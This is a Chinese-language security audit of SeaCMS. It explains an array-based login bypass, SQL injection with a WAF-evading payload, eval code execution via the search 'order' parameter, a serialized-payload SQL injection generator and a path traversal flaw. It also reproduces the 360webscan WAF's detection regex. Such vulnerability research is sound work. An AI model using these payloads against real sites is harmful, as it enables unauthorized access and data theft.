cms组成
首先,存在一个360safe
文件夹,cms会自动包含360safe
里面的360webscan.php
进行防护
而在include/common.php
中有一个重要的功能是检查和注册外部提交的变量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
|
首先通过m_eregi
检查变量名是否以敏感字符开头,如果检查到敏感字符则直接exit
而后面的两个foreach
语句首先对传入的变量进行addslashes
处理,然后${$_k} = _RunMagicQuotes($_v)
进行变量注册
数组绕过"登录"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
$userid = RemoveXSS(stripslashes($userid));
$userid = addslashes(cn_substr($userid, 60));
$pwd = substr(md5($pwd), 5, 20);
$row1 = $dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
if ($row1['username'] == $userid and $row1['password'] == $pwd) {
$_SESSION['sea_user_id'] = $row1['id'];
$_SESSION['sea_user_name'] = $row1['username'];
$_SESSION['sea_user_group'] = $row1['gid'];
$_SESSION['hashstr'] = $hashstr;
$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1");
ShowMsg("成功登录,正在转向首页!", "index.php", 0, 3000);
exit();
} else {
ShowMsg("密码错误或账户已被禁用", "login.php", 0, 3000);
exit();
}
|
假设传入userid[]=123&pwd[]=456
,$userid
与$pwd
均为数组
1
2
3
4
|
<?php
$userid=array('123');
var_dump(stripslashes($userid));
|
https://3v4l.org/suHRm
在8.0
以上的版本会直接报错,而在8.0
以下的版本会返回一个Warning
警告,并返回NULL
1
2
3
4
|
<?php
$userid=array('123');
var_dump(addslashes(stripslashes($userid)));
|
https://3v4l.org/KtiRJ
而在外面包裹一个addslashes
则会返回string(0) ""
1
2
3
4
5
|
<?php
$pwd=array('456');
var_dump(md5($pwd));
var_dump(substr(md5($pwd), 5, 20));
|
https://3v4l.org/ET69D
md5
处理数组会返回NULL
,而substr
去处理NULL
会返回bool(false)
$row1 = $dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
此时传入的$userid
为string(0) ""
,而$row1
得到的结果将会是$row1['username']=NULL
和$row1['password']=NULL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
error_reporting(0);
$db = new mysqli("172.17.0.1", "root", "root", "test", "4000");
$userid=array('123');
$pwd=array('456');
$userid = stripslashes($userid);
var_dump($userid);
$userid = addslashes($userid);
var_dump($userid);
$pwd = substr(md5($pwd), 5, 20);
$result = $db->query("select * from test where username='$userid'");
var_dump($result);
$row=$result->fetch_row();
var_dump($row['username']);
var_dump($row['password']);
|
1
2
3
4
5
6
7
8
9
10
|
null
string '' (length=0)
object(mysqli_result)[2]
public 'current_field' => int 0
public 'field_count' => int 2
public 'lengths' => null
public 'num_rows' => int 0
public 'type' => int 0
null
null
|
注意到$row1['username'] == $userid and $row1['password'] == $pwd
这里是弱类型比较
$row1['username']
为NULL
,$userid
为string(0) ""
,弱类型比较为真
$row1['password']
为NULL
,$pwd
为bool(false)
,弱类型比较为真,因此成功"登录"
但是由于member.php
会对$_SESSION['sea_user_id']
,这种方式是没有更新$_SESSION['sea_user_id']
所以实际上是没有登录的,但确实绕过了登录验证代码
1
2
3
4
5
6
7
8
9
10
|
$action = isset($action) ? trim($action) : 'cc';
$page = isset($page) ? intval($page) : 1;
$uid=$_SESSION['sea_user_id'];
$uid = intval($uid);
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);//构造session安全码
if(empty($uid) OR $_SESSION['hashstr'] !== $hashstr)
{
showMsg("请先登录","login.php");
exit();
}
|
后台的登录处理如下,无法利用数组进行绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
function checkUser($username,$userpwd)
{
global $dsql;
//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
$pwd = substr(md5($this->userPwd),5,20);
$dsql->SetQuery("Select * From `sea_admin` where name like '".$this->userName."' and state='1' limit 0,1");
$dsql->Execute();
$row = $dsql->GetObject();
if(!isset($row->password))
{
return -1;
}
else if($pwd!=$row->password)
{
return -2;
}
else
{
$loginip = GetIP();
$this->userID = $row->id;
$this->groupid = $row->groupid;
$this->userName = $row->name;
$inquery = "update `sea_admin` set loginip='$loginip',logintime='".time()."' where id='".$row->id."'";
$dsql->ExecuteNoneQuery($inquery);
return 1;
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
...
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
|
注意到Readrlist
中的sql语句为$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
,$ids
使用()
进行闭合,可能会存在注入漏洞
在ReadData
函数中$x = implode(',',$rlist);
并调用Readrlist($x,1,10000)
,向$rlist
传入一个含有恶意字符串的数组,通过implode
进行拼接转换为字符串,即可在Readrlist
中进行注入
使用$rlist
需要满足前置条件即page>=2
和id>0
1
2
3
4
5
6
7
8
9
|
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
|
$rlist $id $page
来源于用户传入的参数,而这些参数在include/common.php
完成注册,因此这里直接传参即可进行sql注入,但要注意360webscan存在过滤
1
|
\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)
|
过滤UPDATE
用extractvalue
替换,过滤(group_)?concat
用concat_ws
gid=1&page=3&rlist[]=extractvalue(1,concat_ws(0x7e,1,user(),database(),version()))
include/main.class.php存在eval代码执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
function buildregx($regstr,$regopt)
{
return '/'.str_replace('/','\/',$regstr).'/'.$regopt;
}
function parseStrIf($strIf)
{
if (strpos($strIf, '=') === false) {
return $strIf;
}
if ((strpos($strIf, '==') === false) && (strpos($strIf, '=') > 0)) {
$strIf = str_replace('=', '==', $strIf);
}
$strIfArr = explode('==', $strIf);
return (empty($strIfArr[0]) ? 'NULL' : $strIfArr[0]) . "==" . (empty($strIfArr[1]) ? 'NULL' : $strIfArr[1]);
}
function parseIf($content)
{
if (strpos($content, '{if:') === false) {
return $content;
} else {
$labelRule = buildregx("{if:(.*?)}(.*?){end if}", "is");
$labelRule2 = "{elseif";
$labelRule3 = "{else}";
preg_match_all($labelRule, $content, $iar);
$arlen = count($iar[0]);
$elseIfFlag = false;
for ($m = 0; $m < $arlen; $m++) {
$strIf = $iar[1][$m];
$strIf = $this->parseStrIf($strIf);
$strThen = $iar[2][$m];
$strThen = $this->parseSubIf($strThen);
if (strpos($strThen, $labelRule2) === false) {
if (strpos($strThen, $labelRule3) >= 0) {
$elsearray = explode($labelRule3, $strThen);
$strThen1 = $elsearray[0];
$strElse1 = $elsearray[1];
@eval("if(" . $strIf . "){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag) {
$content = str_replace($iar[0][$m], $strThen1, $content);
} else {
$content = str_replace($iar[0][$m], $strElse1, $content);
}
} else {
@eval("if(" . $strIf . ") { \$ifFlag=true;} else{ \$ifFlag=false;}");
if ($ifFlag) $content = str_replace($iar[0][$m], $strThen, $content);
else $content = str_replace($iar[0][$m], "", $content);
}
} else {
$elseIfArray = explode($labelRule2, $strThen);
$elseIfArrayLen = count($elseIfArray);
$elseIfSubArray = explode($labelRule3, $elseIfArray[$elseIfArrayLen - 1]);
$resultStr = $elseIfSubArray[1];
$elseIfArraystr0 = addslashes($elseIfArray[0]);
@eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
for ($elseIfLen = 1; $elseIfLen < $elseIfArrayLen; $elseIfLen++) {
$strElseIf = getSubStrByFromAndEnd($elseIfArray[$elseIfLen], ":", "}", "");
$strElseIf = $this->parseStrIf($strElseIf);
$strElseIfThen = addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen], "}", "", "start"));
@eval("if(" . $strElseIf . "){\$resultStr=\"$strElseIfThen\";}");
@eval("if(" . $strElseIf . "){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {
break;
}
}
$strElseIf0 = getSubStrByFromAndEnd($elseIfSubArray[0], ":", "}", "");
$strElseIfThen0 = addslashes(getSubStrByFromAndEnd($elseIfSubArray[0], "}", "", "start"));
if (strpos($strElseIf0, '==') === false && strpos($strElseIf0, '=') > 0) $strElseIf0 = str_replace('=', '==', $strElseIf0);
@eval("if(" . $strElseIf0 . "){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
$content = str_replace($iar[0][$m], $resultStr, $content);
}
}
return $content;
}
}
|
在parseIf
中利用正则提取内容,然后把内容分拆后放到eval
中从而达到代码执行的目的
搜索parseIf
的引用,发现在search.php
中会向模板中插入用户数据后传递给parseIf
(其他的php没有这种行为,只会直接将模板读取然后传递给parseIf
)
一开始我用的是searchword
参数,但是传递进去后发现内容被修改,然后我换成order
参数,发现这个参数只进行addslashes
转义操作
将order
参数利用str_replace
替换到content
后,content
被传递到parseIf
进行分拆并eval执行
最终payload
searchtype=5&order="}asdf{end if} {if:phpinfo()}asdf{end if}
一个师傅的分析文章 seacms 多个版本的代码执行漏洞总结
admin/admin_collect_news.php存在注入(无视waf)
反引号注入,正则搜索规则`[$][A-Za-z0-9_]*`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
|
elseif($action=="importok")
{
$importrule = trim($importrule);
if(empty($importrule))
{
ShowMsg("规则内容为空!","-1");
exit();
}
//对Base64格式的规则进行解码
if(m_ereg('^BASE64:',$importrule))
{
if(!m_ereg(':END$',$importrule))
{
ShowMsg('该规则不合法,Base64格式的采集规则为:BASE64:base64编码后的配置:END !','-1');
exit();
}
$importrules = explode(':',$importrule);
$importrule = $importrules[1];
$importrule = unserialize(base64_decode($importrule)) OR die('配置字符串有错误!');
//die(base64_decode($importrule));
}
else
{
ShowMsg('该规则不合法,Base64格式的采集规则为:BASE64:base64编码后的配置:END !','-1');
exit();
}
if(!is_array($importrule) || !is_array($importrule['config']) || !is_array($importrule['type']))
{
ShowMsg('该规则不合法,无法导入!','-1');
exit();
}
$data = $importrule['config'];
unset($data['cid']);
$data['cname'].="(导入时间:".date("Y-m-d H:i:s").")";
$data['cotype'] = '1';
$sql = si("sea_co_config",$data,1);
$dsql->ExecuteNoneQuery($sql);
$cid = $dsql->GetLastID();
if (!empty($importrule['type'])){
foreach ($importrule['type'] as $type){
unset($type['tid']);
$type['cid'] = $cid;
$type['addtime'] = time();
$type['cjtime'] = '';
$type['cotype'] = '1';
$data = $type;
$sql = si("sea_co_type",$data,1);
$dsql->ExecuteNoneQuery($sql);
}
}
ShowMsg('成功导入规则!','admin_collect_news.php');
exit;
}
...
function si($table, $data, $needQs=false)
{
if (count($data)>1)
{
$t1 = $t2 = array();
$i=0;
foreach($data as $key=>$value)
{
if($i!=0&&$i%2==0)
{
$t1[] = $key;
$t2[] = $needQs?qs($value):"'$value'";
}
$i+=1;
}
$sql = "INSERT INTO `$table` (`".implode("`,`",$t1)."`) VALUES(".implode(",",$t2).")";
}
else
{
$arr = array_keys($data);
$feild = $arr[0];
$value = $data[$feild];
$value = $needQs?qs($value):"'$value'";
$sql = "INSERT INTO `$table` (`$feild`) VALUES ($value)";
}
return $sql;
}
function qs($s)
{
return "'".addslashes($s)."'";
}
|
$importrule = unserialize(base64_decode($importrule))
对$importrule
进行base64解码后进行反序列化(全局搜索了一下,除了php原生类之外好像没有别的利用点)
反序列化后要满足这个条件if(!is_array($importrule) || !is_array($importrule['config']) || !is_array($importrule['type']))
1
2
3
4
5
|
$data = $importrule['config'];
unset($data['cid']);
$data['cname'].="(导入时间:".date("Y-m-d H:i:s").")";
$data['cotype'] = '1';
$sql = si("sea_co_config",$data,1);
|
对反序列化解析出的$importrule['config']
进行一定的处理,处理后的$data
被传入到si
中,显然count($data)
大于1,但要注意只有当$i%2==0
时数据才会被拼接到sql语句中,因此在构造序列化数组时要注意添加垃圾数据进行填充
1
2
3
4
5
6
7
8
9
10
|
foreach($data as $key=>$value)
{
if($i!=0&&$i%2==0)
{
$t1[] = $key;
$t2[] = $needQs?qs($value):"'$value'";
}
$i+=1;
}
$sql = "INSERT INTO `$table` (`".implode("`,`",$t1)."`) VALUES(".implode(",",$t2).")";
|
同时要注意sea_co_config
的表属性,其中cname
的长度限制为50
1
2
3
4
5
6
7
8
9
|
<?php
$importrule = array();
$importrule['config'] = array();
$importrule['config']['abc']='asdf';
$importrule['config']['123']='asdf';
$importrule['config']['cname`,`getlistnum`,`getconnum`,`cotype`) values ((select group_concat(username) from seacms.sea_member),10,100,1)#']='asdf';
$importrule['type'] = array();
var_dump(serialize($importrule));
var_dump("BASE64:".base64_encode(serialize($importrule)).":END");
|
admin/admin_template.php存在目录穿越/任意文件删除漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
require_once(dirname(__FILE__)."/config.php");
if(empty($action))
{
$action = '';
}
$dirTemplate="../templets";
...
else
{
if(empty($path)) $path=$dirTemplate; else $path=strtolower($path);
if(substr($path,0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$flist=getFolderList($path);
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
|
只要求满足substr($path,0,11)==$dirTemplate
即前11个字符为../templets
因此可以传入..
进行目录穿越
admin/admin_collect.php存在任意文件读取
全局搜索@file_get_contents
发现有几个html模板里面有这个函数,因此查找哪个php文件调用了这几个模板
在目标站点URL处输入即可